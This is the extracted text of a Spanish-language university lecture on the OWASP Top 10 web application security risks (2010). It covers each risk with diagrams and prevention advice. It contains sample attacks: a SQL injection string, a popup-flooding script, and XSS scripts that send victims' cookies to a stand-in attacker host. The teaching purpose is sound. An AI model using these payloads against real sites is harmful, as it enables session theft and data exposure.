+ All Categories
Home > Documents > Open Web Application Security Project (OWASP)cryptomex.org/SlidesAplicsDist/OWASP.2010.pdf · –...

Open Web Application Security Project (OWASP)cryptomex.org/SlidesAplicsDist/OWASP.2010.pdf · –...

Date post: 20-Sep-2018
Category:
Upload: voliem
View: 212 times
Download: 0 times
Share this document with a friend
24
Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C OWASP 1 Open Web Application Security Project (OWASP) Roberto Gómez @it Lámina 1 Dr. Roberto Gómez C. rogomez@itesm.mx http://homepage.cem.itesm.mx/ac/rogomez ¿Que es un ataque? Acción o acciones que tienen por objetivo el que cualquier parte de un sistema de que cualquier parte de un sistema de información automatizado, deje de funcionar de acuerdo con su propósito definido. Esto incluye cualquier acción que causa la destrucción, modificación o retraso del servicio no autorizado Lámina 2 Dr. Roberto Gómez C. servicio no autorizado.
Transcript

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 1

Open Web Application Security Project (OWASP)

Roberto Gómez@it

Lámina 1 Dr. Roberto Gómez C.

[email protected]://homepage.cem.itesm.mx/ac/rogomez

¿Que es un ataque?

• Acción o acciones que tienen por objetivo el que cualquier parte de un sistema deque cualquier parte de un sistema de información automatizado, deje de funcionar de acuerdo con su propósito definido.

• Esto incluye cualquier acción que causa la destrucción, modificación o retraso del servicio no autorizado

Lámina 2 Dr. Roberto Gómez C.

servicio no autorizado.

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 2

Aclaración ataque

• No es un ataque físico (aunque puede ser).U li l• Un ataque no se realiza en un solo paso.

• Depende de los objetivos del atacante.• Puede consistir de varios pasos antes de

llegar a su objetivo.

Lámina 3 Dr. Roberto Gómez C.

Mecanismos de seguridad

• Firewalls• Firewalls• IDS (Sistemas de Detección de Intrusos)• Filtrado de información

Lámina 4 Dr. Roberto Gómez C.

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 3

Sin embargo

• Empresas necesitan dar servicios al exterior.E i i bi• Existe un puerto que siempre esta abierto

80

Lámina 5 Dr. Roberto Gómez C.

53

OWASP

• “Open Web Application Security Project”Gr po de ol ntarios• Grupo de voluntarios

• Produce documentación, herramientas y estándares gratuitos

• Calidad profesional y de código abierto• Página

Lámina 6 Dr. Roberto Gómez C.

• Página – http://www.owasp.org

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 4

¿Qué es Seguridad de Aplicaciones Web?

• No es seguridad en redes– Asegurar el “código regularmente usado” en una– Asegurar el código regularmente usado en una

aplicación web,– Asegurar librerías.– Asegurar sistemas de backend.– Asegurar aplicaciones y servidores web.

• Seguridad en redes ignora el contenido del tráfico

Lámina 7 Dr. Roberto Gómez C.

g gHTTP.– Firewalls, SSL, Intrusion Detection Systems, Operating

System Hardening, Database Hardening

Seguridad en red vs seguridad en web

ses

stem

s

vice

s

ries esrc

s

gC D l dn L

ayer

Your security “perimeter” has huge holes at the application layer

H d d OS

Web Server

App Server

Dat

abas

Leg

acy

Sys

Web

Ser

v

Dir

ecto

r

Hum

an R

e

Bill

ingCustom Developed Application Code

APPLICATIONATTACK

yer

App

licat

ion

Lámina 8 Dr. Roberto Gómez C.

Firewall

Hardened OS

Firewall

You can’t use network layer protection (firewall, SSL, IDS, hardening)to stop or detect application layer attacks

Net

wor

k L

ay

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 5

OWASP Top Ten

• Las 10 vulnerabilidades principales que están usando los atacantes contra páginas Webusando los atacantes contra páginas Web

• Similar al Top 20 de SANS / FBI pero para aplicaciones Web

• Un buen estándar mínimo para exigir a las áreas de desarrollo

Lámina 9 Dr. Roberto Gómez C.

áreas de desarrollo• La mayoría de los problemas anteriores caen

en alguna de estas categorías generales

Las dos primeras versiones

1. Unvalidated Input 1. Cross Site Scripting (XSS)2 I j ti Fl

2004 2007

2. Broken Access Control3. Broken Authentication and

Session Management4. Cross Site Scripting5. Buffer Overflow6. Injection Flaws 7 Improper Error Handling

2. Injection Flaws 3. Malicious File Execution4. Insecure Direct Object

Reference5. Cross Site Request Forgery

(CSRF)6. Information Leakage and

Lámina 10 Dr. Roberto Gómez C.

7. Improper Error Handling 8. Insecure Storage 9. Application Denial of Service10. Insecure Configuration

Management

Improper Error Handling7. Broken Authentication and

Session Management8. Insecure Cryptographic Storage9. Insecure Communications10. Failure to Restrict URL Access

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 6

La versión 2010

• A1: Injection • A2: Cross Site Scripting (XSS)• A2: Cross-Site Scripting (XSS) • A3: Broken Authentication and Session Management • A4: Insecure Direct Object References • A5: Cross-Site Request Forgery (CSRF) • A6: Security Misconfiguration• A7: Insecure Cryptographic Storage

Lámina 11 Dr. Roberto Gómez C.

A7: Insecure Cryptographic Storage • A8: Failure to Restrict URL Access • A9: Insufficient Transport Layer Protection • A10: Unvalidated Redirects and Forwards

¿Qué cambio?

• Se trata de riesgos, no solo vulnerabilidades– Nuevo título: “The Top 10 Most Critical Web Application Security

Risks”Risks

• Metodología– Basada en OWASP Risk Rating Methodology.

• Dos riesgos añadidos, dos eliminados– Se añadio A6-Mala Configuración Seguridad

• Era A10 en el 2004: : Insecure Configuration ManagementS ñ di A10 Di i i t i álid

Lámina 12 Dr. Roberto Gómez C.

– Se añadio A10: Direccionamientos inválidos• Relativamente comun y muy peligrosa falla que no es muy conocida.

– Se eliminó A3- Malicious File Execution• Más que nada una falla en PHP que esta en decadencia

– Se eliminó A6 - Information Leakage and Improper Error Handling• Una falla existente, pero que normalmente no representa mucho riesgo.

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 7

Mapeo 2007 a 2010

OWASP Top 10 – 2007 (Previous) OWASP Top 10 – 2010 (New)

A2 – Injection Flaws A1 – Injection

A1 – Cross Site Scripting (XSS) A2 – Cross Site Scripting (XSS)

A7 – Broken Authentication and Session Management A3 – Broken Authentication and Session Management

A4 – Insecure Direct Object Reference A4 – Insecure Direct Object References

A5 – Cross Site Request Forgery (CSRF) A5 – Cross Site Request Forgery (CSRF)

<was T10 2004 A10 – Insecure Configuration Management> A6 – Security Misconfiguration (NEW)

A8 – Insecure Cryptographic Storage A7 – Insecure Cryptographic Storage

+

=

=

Lámina 13 Dr. Roberto Gómez C.

A10 – Failure to Restrict URL Access A8 – Failure to Restrict URL Access

A9 – Insecure Communications A9 – Insufficient Transport Layer Protection

<not in T10 2007> A10 – Unvalidated Redirects and Forwards (NEW)

A3 – Malicious File Execution <dropped from T10 2010>

A6 – Information Leakage and Improper Error Handling <dropped from T10 2010>

+

--

=

Metodología OWASP Top 10

ThreatAgent

AttackVector

Weakness Prevalence

Weakness Detectability Technical Impact Business

Impact

E Wid d E S1

Lámina 14 Dr. Roberto Gómez C.

?Easy Widespread Easy Severe

?Average Common Average Moderate

Difficult Uncommon Difficult Minor

1 2 2 1

1.66 * 1

1.66 weighted risk rating

Injection Example

123

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 8

OWASP Top Ten (Edición 2010)

Lámina 15 Dr. Roberto Gómez C.

http://www.owasp.org/index.php/Top_10

1. Inyección

• Inyección implica– Engañar a una aplicación incluyendo comandos en los datos

i d ienviados a un interprete.• Interpretes

– Toman los strings y los interpretan como comandos.– SQL, Shell SO, LDAP, Xpath, Hibernate, etc.

• Inyección SQL aún es muy común.– Muchas aplicaciones aún son susceptibles (no se sabe por qué).– Aun cuando es usualmente simple de evitar.

Lámina 16 Dr. Roberto Gómez C.

Aun cuando es usualmente simple de evitar.• Impacto

– Usualmente severo. La base de datos entera puede ser leída o modificada.

– Posible contar con el esquema total de la base de datos, o contar con acceso a cuentas o a nivel S.O.

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 9

Ejemplo Inyección SQL

s tem

sce

ses sr

cs

ayer

ts e atio

non

sat

ion

Mgm

trc

eio

ns

"SELECT * FROM accounts WHERE acct=‘’ OR 1=1--

Account Summary

Acct 5424 6066 2134 4334

Account:

SKU:

Account:

SKU:

App Server

Dat

abas

eLe

gacy

Sys

tW

eb S

ervi

cD

irect

orie

Hum

an R

esB

illin

g

Custom Code

APPLICATIONATTACKA

pplic

atio

n La

Acc

ount

Fina

nce

Adm

inis

traTr

ansa

ctio

Com

mun

ica

Kno

wle

dge

ME-

Com

mer

Bus

. Fun

cti

HTTP request

SQL query

DB Table HTTP response

acct= OR 1=1--’"

1. Application presents a form to the attacker2. Attacker sends an attack in the form data3. Application forwards attack to

Acct:5424-6066-2134-4334Acct:4128-7574-3921-0192Acct:5424-9383-2039-4029Acct:4128-0004-1234-0293

SKU:

Lámina 17 Dr. Roberto Gómez C.

Fire

wal

l

Hardened OS

Web ServerFi

rew

all

Net

wor

k La

yer

the database in a SQL query

4. Database runs query containing attack and sends encrypted results back to application

5. Application decrypts data as normal and sends results to the user

2. Cross-Site Scripting (XSS)

• Ocurre en cualquier tiempo– Datos “en bruto” es enviado por el atacante al browser de un p

usuario.

• Datos en bruto– Almacenado en la base de datos– Reflejado de la entrada web– Enviado directamente a los scripts del cliente.

• Virtualmente cada aplicación web tiene este problema

Lámina 18 Dr. Roberto Gómez C.

p p– Intentar en el browser: javascript:alert(documento.cookie).

• Impacto típico– Robar la sesión del usuario, robo de datos sensibles, rescribir la

página web, redirigir usuario a un sitio de phishing o malware.

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 10

Ataque XSS

• El problema reside en la administración de archivos adjuntos de tipo html o htmadjuntos de tipo .html o .htm

• Manejar la salida de una aplicación web es lo mismo que pasar datos a los subsistemas– el subsistema final al que se le pasa datos es el browser del

visitante y el parser HTML en el browser solo es otro sistema– cuando se envían datos a él se debe poner atención a los

metacaracteres

Lámina 19 Dr. Roberto Gómez C.

metacaracteres• Problema notificado por CERT en el 2000

– http://www.cert.org/advisories/CA-2000-02.html– http://www.cert.org/tech-tips/malicious_code_mitigation.html

Empecemos por lo sencillo

• Aplicación web: guest book– permite visitantes introducir lo que dessen y solo añaden el

nuevo texto a lo que estaba antes

• Usuario malicioso introduce lo siguiente:

• Nada pasa al principio, pero se mezcla con lo que se escribió y lo que se escribirá,

<!--

Lámina 20 Dr. Roberto Gómez C.

y q ,– aplicación web pasará lo siguiente a lectores libro de visitas:

:Cool web page, dude!<!--You’re da man, boss

:

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 11

Otros dos ejemplos

• Posible introducir:s ipt>

• Otro ejemplo– un sitio de discusión para niños

<script>for (q=0; q < 1000; q++)

window.open(http://www.hotsex.example);</script>

Lámina 21 Dr. Roberto Gómez C.

– el sitio carece de filtrado hacia afuera, y alguien introduce lo siguiente:

<imag src = http://www.tasteless.example/hardcoresex.jpg/>

Ejemplo XSS

Application with

Attacker sets the trap – update my profile1

stored XSS vulnerability

2

Attacker enters a malicious script into a web page that stores the data on the server

Victim views page – sees attacker profile

Custom Code

Acc

ount

sFi

nanc

eA

dmin

istra

tion

Tran

sact

ions

Com

mun

icat

ion

Kno

wle

dge

Mgm

tE-

Com

mer

ceB

us. F

unct

ions

Lámina 22 Dr. Roberto Gómez C.

3 Script silently sends attacker Victim’s session cookie

Script runs inside victim’s browser with full access to the DOM and cookies

Custom Code

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 12

Algo de código

• JavaScript proporciona cookie al web server del atacante

• Enviando el browser al sitio original

<script>document.location.replace(

“http://www.badguy.example/steal.php”+ = “?what=“ + document.cookie)

</script>

<script>

Lámina 23 Dr. Roberto Gómez C.

pif (document.cookie.indexOf(“stolen”) < 0 {

document.cookie = “stolen=true”;document.location.replace(

“http://www.badguy.example/steal.php”+ = “?what=“ + document.cookie+ = “&whatnext=http://www.somesite.example/”)

} </script>

Otros ataques XSS

• Modificación texto– posible cambiar información mientras la página es– posible cambiar información mientras la página es

desplegada• XSS con ingeniería social

– script malicioso no es almacenado en el servidor– atacante engaña a la víctima, para que este se dirija a un

URL con el scripto malicioso

Lámina 24 Dr. Roberto Gómez C.

• Robo de passwords– algunos sitios vuelven a desplear el user-name si la

autenticación falla, considerando que el password fue mal tecleado

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 13

Ejemplo de ingeniería social

Lámina 25 Dr. Roberto Gómez C.

Esquemas a evitar en ambientes HTML

HTML Element Content( di di l /di )

#1: ( &, <, >, " ) &entity; ( ', / ) &#xHH;ESAPI: encodeForHTML()

#2: All non alphanumeric < 256 &#xHH

HTML Style Property Values( di h { l d d i

JavaScript Data(e.g., <script> some javascript </script> )

HTML Attribute Values(e.g., <input name='person' type='TEXT'

value='defaultValue'> )

(e.g., <div> some text to display </div> )

#4: All non-alphanumeric < 256 \HHESAPI: encodeForCSS()

#3: All non-alphanumeric < 256 \xHHESAPI: encodeForJavaScript()

#2: All non-alphanumeric < 256 &#xHHESAPI: encodeForHTMLAttribute()

Lámina 26 Dr. Roberto Gómez C.

(e.g., .pdiv a:hover {color: red; text-decoration: underline} )

URI Attribute Values(e.g., <a href="javascript:toggle('lesson')" )

#5: All non-alphanumeric < 256 %HHESAPI: encodeForURL()

ALL other contexts CANNOT include Untrusted DataRecommendation: Only allow #1 and #2 and disallow all othersSee: www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet for more details

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 14

3. Autenticación rota y manejo de sesiones

• HTTP es un protocolo “stateless”– Se deben presentar credenciales en cada peticiónp p– Debe usar SSL para cualquier tipo de autenticación.

• Manejo de las fallas en la sesión– SESSION ID usado para seguimiento del estado.– SESSION ID es visible en la red, en browsers, logs, etc.

• Cuidado con los side-doors– Cambiar contraseña, recordar contraseña, olvide mi contraseña,

Lámina 27 Dr. Roberto Gómez C.

Cambiar contraseña, recordar contraseña, olvide mi contraseña, pregunta secreta, dirección correo, etc.

• Impacto– Cuentas usuarios comprometidas o sesiones de usuarios

secuestradas.

Ejemplo

Acc

ount

sFi

nanc

em

inis

trat

ion

rans

actio

nsm

mun

icat

ion

Kno

wle

dge

Mgm

tC

omm

erce

s. Fu

nctio

ns

1 User sends credentials

www boi com?JSESSIONID=9FA1DB9EA

Custom Code

A

Adm Tr

Com K E

-B

us

2Site uses URL rewriting(i.e., put session in URL)

3 User clicks on a link to http://www hacker com

www.boi.com?JSESSIONID 9FA1DB9EA...

Lámina 28 Dr. Roberto Gómez C.

3 User clicks on a link to http://www.hacker.com in a forum

4Hacker checks referer logs on www.hacker.com

and finds user’s JSESSIONID

5 Hacker uses JSESSIONID and takes over victim’s account

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 15

4. Dirección insegura de referencias de objetos

• ¿Cómo protege el acceso a sus datos?– Es parte de reforzar “Autorización”, junto con el número 8: p j

Restricción Acceso al URL

• Error común– Solo listar los objetos “autorizados” para el usuario correcto o,– Esconder los objetos referenciados en campos ocultaos.– …. Y entonces no aplicar estas restricciones en el lado del servidor.– Esto se conoce como control de acceso a nivel presentación y no

Lámina 29 Dr. Roberto Gómez C.

funciona.– Atacante simple y sencillamente “tampers” con el valor del

parámetro.

• Impacto– Atacante puede acceder a datos o archivos no autorizados.

Ejemplo

Attacker notices his acct parameter is 6065https://www.onlinebank.com/user?acct=6065 parameter is 6065?acct=6065

He modifies it to a nearby number?acct=6066

p

Lámina 30 Dr. Roberto Gómez C.

Attacker views the victim’s account information

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 16

5. Cross Site Request Forgery(CSRF)

• CSRF– Un ataque donde el browser de la víctima es engañado usando un q g

comando hacia una aplicación web vulnerable.– Vulnerabilidad provocada por que los browsers automáticamente

incluyen datos de autenticación de los usuarios en cada petición.

• Imaginar– ¿Y si un usuario puede dirigir el ratón de un usurario y hacer click

en ligas que se encuentran en una aplicación bancaria.¿Q é d ñ d í ?

Lámina 31 Dr. Roberto Gómez C.

– ¿Qué daño podrían provocar?

• Impacto– Iniciar transacciones.– Acceso a datos sensibles– Cambiar datos cuentas.

Ejemplo

Attacker sets the trap on some website on the internet(or simply via an e-mail)1

2While logged into vulnerable site,

victim views attacker site Acc

ount

sFi

nanc

eA

dmin

istr

atio

nT

rans

actio

nsC

omm

unic

atio

nK

now

ledg

e M

gmt

E-C

omm

erce

Bus

. Fun

ctio

ns

Hidden <img> tag contains attack against vulnerable site

Application with CSRF vulnerability

Lámina 32 Dr. Roberto Gómez C.

3

victim views attacker site

Vulnerable site sees legitimate request from victim and performs the action requested

<img> tag loaded by browser – sends GET request (including credentials) to vulnerable site

Custom Code

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 17

6. Mala configuración de seguridad

• Aplicaciones Web reposan sobre otro código.– Todo desde el S.O. hasta el servidor Web– No olvidar las librerías que se están usando.

• ¿Es el código usado un secreto?– Pensar en todos los lugares donde el código desarrollado se mueve.– Seguridad no requiere código fuente secreto.

• CM se debe extender a todas las partes de la aplicación– Todas las credenciales deben cambiar en producción.

Lámina 33 Dr. Roberto Gómez C.

Todas las credenciales deben cambiar en producción.

• Impacto– Instalar backdoor a través de parches no instalados del SO o

servidor.– Acceso no autorizado a cuentas por default.

Ejemplo

ount

san

ceis

trat

ion

actio

nsun

icat

ion

dge

Mgm

tm

mer

ceun

ctio

ns

App Server

Framework

App Configuration

Custom Code

Acc

oFi

naA

dmin

iT

rans

Com

mu

Kno

wle

dE

-Com

Bus

. Fu

Development

Database

Lámina 34 Dr. Roberto Gómez C.

Hardened OS

Web Server

App Server

Test Servers

QA Servers

Source Control

Insider

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 18

7. Almacenamiento criptográfico inseguro

• Almacenando datos sensibles de forma insegura.– Falla para identificar datos sensbibles.p– Falla para identificar todos los lugares donde estos datos son

almacenados.– Falla de proteger los datos en cada lugar.

• Impacto.– Atacante accede o modifica información privada y/o confidencial.– Atacante extrae secretos para usar en ataques posteriores.

Lámina 35 Dr. Roberto Gómez C.

– Mala reputación empresa, insatisfacción de los clientes, y la pérdida de confianza

– Gastos en la limpieza del incidente, tales como forencia, envío de cartas de disculpa, reponer tarjetas de crédito, proporcionar seguro contra robo de identidad.

– El negocio es demandado o terminado.

Ejemplo

1Victim enters credit card number in form

Custom Code

Acc

ount

sFi

nanc

eA

dmin

istr

atio

nT

rans

actio

nsC

omm

unic

atio

nK

now

ledg

e M

gmt

E-C

omm

erce

Bus

. Fun

ctio

ns

1 card number in form

2Error handler logs CC4 Malicious insider

steals 4 million credit Log files

Lámina 36 Dr. Roberto Gómez C.

2Error handler logs CC details because merchant

gateway is unavailable

card numbers

3Logs are accessible to all members of IT staff for

debugging purposes

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 19

8. Falla en restringir el acceso al URL

• ¿Cómo se protege el acceso al URL (páginas)?– Esto es parte de reforzar la autenticación (punto 4).p (p )

• Error común– Desplegar solo ligas autorizadas y opciones de menú.– Esto se conoce como control de acceso a nivel presentación y no

funciona.– Atacante forza acceso directo a paginas no autorizadas.

• Impacto

Lámina 37 Dr. Roberto Gómez C.

pacto– Atacante invoca funciones y servicios para los que no esta autorizado.– Acceso a otras cuentas de usuarios y datos.– Lleva a cabo acciones privilegiadas.

Ejemplo

Attacker notices the URL indicates his rolehttps://www.onlinebank.com/user/getAccountshttps://www.onlinebank.com/user/getAccounts

/user/getAccounts

He modifies it to another directory (role)/admin/getAccounts, or/ / tA t

https://www.onlinebank.com/user/getAccountshttps://www.onlinebank.com/user/getAccounts

Lámina 38 Dr. Roberto Gómez C.

/manager/getAccounts

Attacker views more accounts than just their own

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 20

9. Insuficiente protección a nivel capa de transporte.

• Transmisión de datos de forma sensible.– Falla en identificar los datos sensibles.– Falla en identificar todos los lugares a los cuales los datos son

enviados.– Falla en proteger de forma apropiada estos datos en cada lugar.

• Impacto– Atacante accede o modifica información privilegiada o privada.

• Tarjetas de crédito, registros hospitalarias, datos financieros (de la i ió d li t )

Lámina 39 Dr. Roberto Gómez C.

organización o de sus clientes)– Atacante extrae secretos a usar en otros ataques.– Mala reputación empresa, insatisfacción de los clientes, y la pérdida

de confianza– Gastos en la limpieza del incidente.– El negocio es demandado o terminado

Ejemplo

Custom Code

Employees

Business PartnersExternal Victim

Backend Systems

Lámina 40 Dr. Roberto Gómez C.

p y

External Attacker

1External attacker steals credentials and data off network

2

Internal attacker steals credentials and data from internal network

Internal Attacker

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 21

10. Redireccionamientosinválidos

• Redireccionamientos en una página web es algo común.– Frecuentemente se incluyen parámetros proporcionados por el usuario en el

URL destino.– Si no son validados, el atacante puede enviar a la víctima al sitio de su

preferencia.

• Forwards (aka Transfer en .NET) también son comunes.– Internamente envían la petición a una nueva página en la misma aplicación.– Algunas veces los parámetros define la página.

Si no son validados el atacante puede ser capaz de usar forwards no

Lámina 41 Dr. Roberto Gómez C.

– Si no son validados, el atacante puede ser capaz de usar forwards no validados para “bypasear” las verificaciones de autenticación y autorización.

• Impacto– Redireccionar a la víctima a sitios de phishing o malware.– Permite uso de funciones no autorizadas o acceso a datos.

Ejemplo Redirect

Attacker sends attack to victim via email or webpage

From: Internal Revenue ServiceS bj t Y U l i d T R f d

1

3

2

Subject: Your Unclaimed Tax RefundOur records show you have an unclaimed federal tax refund. Please click here to initiate your claim.

Application redirects victim to attacker’s site

C stom Code

Acc

ount

s

Fina

nce

Adm

inis

trat

ion

Tra

nsac

tions

Com

mun

icat

ion

Kno

wle

dge M

gmt

E-C

omm

erce

Bus

. Fun

ctio

ns

Victim clicks link containing unvalidatedparameter

Lámina 42 Dr. Roberto Gómez C.

Request sent to vulnerable site, including attacker’s destination site as parameter. Redirect sends victim to attacker site

Custom Code

4 Evil site installs malware on victim, or phish’s for private information

Evil Site

http://www.irs.gov/taxrefund/claim.jsp?year=2006& … &dest=www.evilsite.com

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 22

Ejemplo Forward

Attacker sends attack to vulnerable page they have access to1

Request sent to

2 Application authorizes request, which continues to vulnerable page

Request sent to vulnerable page which user does have access to. Redirect sends user directly to private page, bypassing access control.

3 Forwarding page fails to validate Filter

public void sensitiveMethod( HttpServletRequest request, HttpServletResponse response) {

try {// Do sensitive stuff here....

}catch ( ...

Lámina 43 Dr. Roberto Gómez C.

to vulnerable page 3 g p gparameter, sending attacker to unauthorized page, bypassing access controlpublic void doPost( HttpServletRequest request,

HttpServletResponse response) {try {

String target = request.getParameter( "dest" ) );...request.getRequestDispatcher( target).forward(request, response);

}catch ( ...

¿Y que hacemos?

• Desarrollar código seguro– Seguir las mejores prácticas de la guía del OWASP: Guide to Building

Secure Web ApplicationsSecure Web Applications• http://www.owasp.org/index.php/Guide

– Usar el estándar de verificación de seguridad en aplicaciones del OWASP, como una guía para saber que necesita una aplicación para ser segura.

• http://www.owasp.org/index.php/ASVS

– Usar componentes de seguridad que se acoplen a la organización.• Utilizar OWASP’s ESAPI como la base de los componentes estándares.

htt // /i d h /ESAPI

Lámina 44 Dr. Roberto Gómez C.

• http://www.owasp.org/index.php/ESAPI

• Revisar sus aplicaciones– Que un equipo experto revise sus aplicaciones.– Revise sus aplicaciones internamente siguiendo las guías OWASP

• OWASP Code Review Guide: http://www.owasp.org/index.php/Code_Review_Guide • OWASP Testing Guide: http://www.owasp.org/index.php/Testing_Guide

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 23

OWASP (ESAPI)

Lámina 45 Dr. Roberto Gómez C.

Referencia: http://www.owasp.org/index.php/ESAPI

Conclusiones

• No basta con una defensa perimetral• Es importante saber que esta “viendo” la gente deEs importante saber que esta viendo la gente de

afuera• Nuestros desarrolladores

– todo es para ayer– solo se preocupan porque funcione

• Un buen par de guías/referencias

Lámina 46 Dr. Roberto Gómez C.

– Writing Secure Code, Second Edition, Michael Howard, David LeBlanc

– Building Secure Software: How to Avoid Security Problems the Right Way -- by John Viega, Gary McGraw;

– OWASP “Open Web Application Security Project”

Desarrollo de Aplicaciones Distribuidas Dr. Roberto Gómez C

OWASP 24

Open Web Application Security Project (OWASP)

Roberto Gómez@it

Lámina 47 Dr. Roberto Gómez C.

[email protected]://homepage.cem.itesm.mx/ac/rogomez


Recommended